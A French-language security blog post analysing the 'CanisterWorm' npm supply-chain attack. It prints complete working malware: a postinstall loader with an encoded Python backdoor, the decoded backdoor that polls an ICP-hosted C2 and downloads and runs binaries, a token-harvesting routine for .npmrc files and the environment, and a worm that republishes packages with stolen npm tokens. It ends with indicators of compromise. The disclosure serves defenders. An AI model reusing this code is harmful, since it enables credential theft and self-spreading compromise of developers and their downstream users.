Le 20 mars 2026, à 20h45 UTC, nous avons détecté un grand nombre de packages compromis sur NPM avec un nouveau ver qui n'avait jamais été observé auparavant. Nous appelons cette attaque spécifique CanisterWorm, car elle utilise un Canister ICP pour son point de chute C2, ce qui est une première dans une campagne de ce type.
Ils ont compromis jusqu'à présent :
- 28 packages dans le
@EmilGroupscope - 16 packages dans le
@opengovscope - Le package
@teale.io/eslint-config - Le package
@airtm/uuid-base32 - Le package
@pypestream/floating-ui-dom
Cela semble être une suite directe de l'attaque contre Trivy il y a moins de 24 heures, comme documenté en détail par Wiz, et serait l'œuvre du même acteur de la menace, TeamPCP.
Analyse technique
Voici une analyse des détails techniques de haut niveau de l'attaque :
- 🧬 Architecture en trois étapes. Chargeur post-installation Node.js → backdoor Python persistante → point de chute hébergé sur ICP pour la livraison dynamique de charge utile.
- 🪱 Ver auto-propagateur.
deploy.jsrécupère les tokens npm, résout les noms d'utilisateur, énumère tous les packages publiables, incrémente les versions de patch et publie la charge utile sur l'ensemble du périmètre. 28 packages en moins de 60 secondes. - 🔁 Persistance systemd. Installe un service de niveau utilisateur avec
Restart=always. Survit aux redémarrages, redémarre en cas de crash, aucun privilège root requis. - 🌐 Canister ICP comme point de dépôt C2. Un canister sur le mainnet d'Internet Computer renvoie une URL pointant vers une charge utile binaire. Décentralisé, résistant à la censure, sans point de démantèlement unique.
- 🔄 Rotation de charge utile à distance. Le contrôleur du canister peut échanger l'URL à tout moment, poussant de nouveaux binaires vers tous les hôtes infectés sans toucher l'implant.
- ⏱️ Évasion de sandbox. 5 minutes de veille avant le premier beacon, intervalle de sondage d'environ 50 minutes après cela.
- 🤫 Échec silencieux. L'ensemble du post-installation est encapsulé dans
try/catch.npm installréussit normalement sur toutes les plateformes ; la porte dérobée ne s'active que sur Linux avec systemd. - 🐘 Masquage PostgreSQL. Tous les artefacts sont nommés pour se fondre dans l'environnement des machines de développeurs :
pgmon,pglog,.pg_state. - 📄 Préservation du README. Le ver récupère le README original de chaque package cible avant publication pour maintenir les apparences.
Charge utile - Malware
Ci-dessous se trouve la charge utile malveillante principale. Ce fichier s'exécute automatiquement en tant que post-installation hook lors de npm install. Voici ce qu'il fait étape par étape :
- 🔓 Décode la charge utile embarquée. La longue chaîne base64 est un script Python (la porte dérobée de second étage que nous examinerons ci-dessous). Elle est décodée et écrite dans
~/.local/share/pgmon/service.py. - 🔧 Crée un service utilisateur systemd. Il écrit un fichier d'unité dans
~/.config/systemd/user/pgmon.servicequi exécute le script Python avecRestart=alwayset un délai de redémarrage de 5 secondes. Aucun privilège root requis, aucune invite de mot de passe. - 🚀 Démarre le service immédiatement. Il exécute
systemctl --user daemon-reload, puis active et démarre le service. La porte dérobée est maintenant en cours d'exécution et survivra aux redémarrages et aux plantages. - 🐘 Se déguise en outil PostgreSQL. Le service est nommé
pgmon, le binaire qu'il télécharge plus tard est nommépglog, et le fichier d'état est.pg_state. Un développeur jetant un coup d'œil à ses services en cours d'exécution n'y prêterait pas attention.
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
Charge utile - Porte dérobée Python
Lorsque vous décodez la charge utile systemd encodée en base64, vous obtenez ce qui suit. Il s'agit de la véritable porte dérobée qui persiste sur le système. Elle n'utilise que des modules de la bibliothèque standard Python, il n'y a donc rien à installer.
- ⏱️ Dort 5 minutes avant d'agir. Assez longtemps pour déjouer la plupart des environnements sandbox qui surveillent les comportements suspects immédiats.
- 📡 Contacte son serveur toutes les ~50 minutes. Fonction
g()contacte un canister ICP avec un User-Agent de navigateur falsifié. Le canister ne distribue pas directement de malware. Il renvoie simplement une URL en texte brut, indiquant l'emplacement actuel du binaire réel. - 📥 Télécharge et exécute ce qui lui est demandé. Fonction
e()récupère le binaire vers/tmp/pglog, le marque comme exécutable et le lance dans un processus entièrement détaché. L'URL est enregistrée dans/tmp/.pg_stateafin de ne pas télécharger la même charge utile deux fois. - 🔘 Dispose d'un coupe-circuit intégré. Si l'URL contient
youtube[.]com, le script l'ignore. C'est l'état dormant du canister. L'attaquant active l'implant en faisant pointer le canister vers un binaire réel, et le désactive en le redirigeant vers un lien YouTube. - 🔄 Prend en charge la rotation des charges utiles. Si l'attaquant met à jour le canister pour qu'il pointe vers une nouvelle URL, chaque machine infectée récupère le nouveau binaire lors de son prochain sondage. L'ancien binaire continue de s'exécuter en arrière-plan car le script ne tue jamais les processus précédents.
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
Cette charge utile, ainsi que le domaine référencé, semblent similaires, voire identiques à la sysmon.py charge utile de l'attaque Trivy. Actuellement, l'URL renvoyée par le C2 est une vidéo YouTube de Rickroll. Cela pourrait changer à tout moment et commencer à servir une charge utile malveillante appropriée.
Charge utile - Ver
Les paquets incluent également deploy.js, un outil d'auto-propagation que l'attaquant exécute manuellement pour diffuser la charge utile malveillante à travers chaque paquet auquel un jeton npm volé a accès. Le ver est très simple. Il semble avoir été entièrement "vibecoded" et est explicite. Aucune tentative d'obfuscation n'a été faite ici. Ceci n'est pas déclenché par npm install. C'est un outil autonome que l'attaquant exécute avec des jetons volés pour maximiser le rayon d'impact. Voici ce qu'il fait :
- 🔑 Prend en charge plusieurs jetons. Lit
NPM_TOKENS(séparés par des virgules) ouNPM_TOKENdepuis l'environnement. Chaque jeton est traité indépendamment, ce qui signifie qu'une seule exécution peut compromettre plusieurs comptes. - 🔍 Détermine à qui appartient le jeton. Pour chaque jeton, il appelle le point de terminaison npm
/-/whoamipour obtenir le nom d'utilisateur associé. Les jetons invalides ou expirés sont ignorés. - 📦 Énumère chaque package sur lequel le compte peut publier. Utilise l'API de recherche npm avec
maintainer:<username>, paginée par lots de 250. C'est ainsi qu'il a découvert les 28@emilgrouppackages. - 🔢 Incrémente automatiquement la version de patch. Récupère la version actuelle
dernièrede chaque package cible et incrémente le numéro de patch.1.54.0devient1.54.1,1.97.1devient1.97.2. La nouvelle version ressemble toujours à une version de patch de routine. - 📄 Préserve le README original. Avant la publication, il récupère le README existant du package cible depuis le registre et le remplace localement. Après la publication, il restaure ses propres fichiers. Cela permet à la liste npm de conserver son apparence normale.
- 🔀 Réécrit
package.jsonà la volée. Remplace temporairement le nom et la version du package dans le fichier localpackage.jsonpar ceux de la cible, publie, puis restaure l'original. Un squelette malveillant unique, réutilisé pour chaque package. - 🚀 Publie avec
--tag latest. Le--access public --tag latestles drapeaux garantissent que la version malveillante devient l'installation par défaut. Quiconque exécutenpm install @emilgroup/whateverobtient la version compromise. - 🧹 Nettoie après son exécution. Les deux
package.jsonetREADME.mdsont toujours restaurés dans unfinallybloc, même si la publication échoue. Le répertoire local semble intact après l'exécution. - 📊 Affiche un résumé. Suit les succès et les échecs par jeton, enregistre tout avec des lignes de statut préfixées par des emojis. Ironiquement bien conçu pour un outil d'attaque.
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();Mise à jour : CanisterWorm apprend à s'auto-propager
Environ une heure après la @emilgroup vague initiale, l'attaquant a déployé une mise à jour significative pour @teale.io/eslint-config les versions 1.8.11 et 1.8.12 (21:16-21:21 UTC). Le ver n'est plus un outil manuel. Il s'auto-propage désormais.
Dans les @emilgroup versions, deploy.js était un script autonome que l'attaquant exécutait manuellement avec des jetons volés. Les victimes obtenaient la porte dérobée, mais le ver ne se propageait pas davantage de lui-même. Cela a changé. La nouvelle index.js ajoute une findNpmTokens() fonction qui s'exécute pendant post-installation et collecte activement les jetons d'authentification npm de la machine de la victime.
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'hello123';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}Il s'agit de la même porte dérobée systemd qu'auparavant, mais avec un ajout crucial : après l'installation du service persistant, elle récupère tous les jetons npm qu'elle peut trouver et propage le ver avec ceux-ci.
- 🔍 Analyse les
.npmrcfichiers. Vérifie~\/.npmrc(configuration utilisateur),.npmrcdans le répertoire de travail actuel (configuration de projet), et/etc/npmrc(configuration globale). Analyse chaque ligne pour les valeurs_authTokenvaleurs. Suffisamment intelligent pour ignorer les variables de modèle comme${NPM_TOKEN}qui n'ont pas été interpolées. - 🔍 Récupère les variables d'environnement. Recherche
NPM_TOKEN,NPM_TOKENS, et tout ce qui correspond à*NPM*TOKEN*. Sépare par des virgules pour gérer les variables multi-jetons. Cela couvre la plupart des configurations CI/CD. - 🔍 Interroge directement la configuration npm. Exécute
npm config get //registry.npmjs.org/:_authTokenen tant que sous-processus pour intercepter les jetons stockés en dehors de.npmrcfichiers. - 🪱 Déploie automatiquement le ver. Si des jetons sont trouvés, il lance
deploy.jsen tant que processus d'arrière-plan entièrement détaché avec les jetons volés. Ledetached: trueet.unref()signifie que le ver continue de s'exécuter même après quenpm installse termine.
C'est à ce stade que l'attaque passe de « un compte compromis publie un malware » à « un malware compromet davantage de comptes et se propage lui-même ». Chaque développeur ou pipeline CI qui installe ce package et dispose d'un jeton npm accessible devient un vecteur de propagation involontaire. Leurs packages sont infectés, leurs utilisateurs en aval les installent, et si l'un d'eux possède des jetons, le cycle se répète.
La charge utile de la porte dérobée ICP a été remplacée par hello123, une chaîne de test factice qui se décode en octets inutiles. Lorsque systemd tente de l'exécuter en tant que Python, il plante immédiatement, mais avec Restart=always défini, le service redémarre silencieusement toutes les 5 secondes. L'attaquant a d'abord mis en place l'infrastructure pour valider la chaîne complète (récupération de jetons, déploiement du ver, persistance systemd) avant de l'armer avec la charge utile réelle.
Si cela avait été livré avec la porte dérobée ICP complète, les packages de chaque développeur compromis seraient devenus un nouveau vecteur d'infection. L'infrastructure fonctionne. Ils n'ont simplement pas encore ouvert le robinet.
Message dans le code source
Il semblerait que l'acteur de la menace suive la couverture médiatique de ses attaques. Lors de sa dernière vague d'attaques, il a laissé un message s'adressant directement à l'auteur de cet article de blog :

Indicateurs de compromission
C2 Infrastructure
hxxps://tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io/— Résolveur de dépôt mort de canister ICP
Indicateurs du système de fichiers
~/.local/share/pgmon/service.py— Script de porte dérobée Python~/.config/systemd/user/pgmon.service— Unité de persistance Systemd/tmp/pglog— Charge utile binaire téléchargée/tmp/.pg_state— Fichier de suivi d'état
Hashes malveillants de index.js (SHA256)
e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b— Vague 1 : essai à blanc (charge utile vide, déploiement manuel)61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba— Vague 2 : porte dérobée ICP armée, déploiement manuel0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a— Vague 3 : auto-propageante, charge utile de testc37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926— Vague 4 : forme finale (auto-propageante + porte dérobée ICP armée)
Hashes malveillants de deploy.js (SHA256)
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152— Vague 1 : verbeux, sans --tag latest- 7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 — Vague 2 : ajout de --tag latest
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956— Vague 3+ : minifié, silencieux

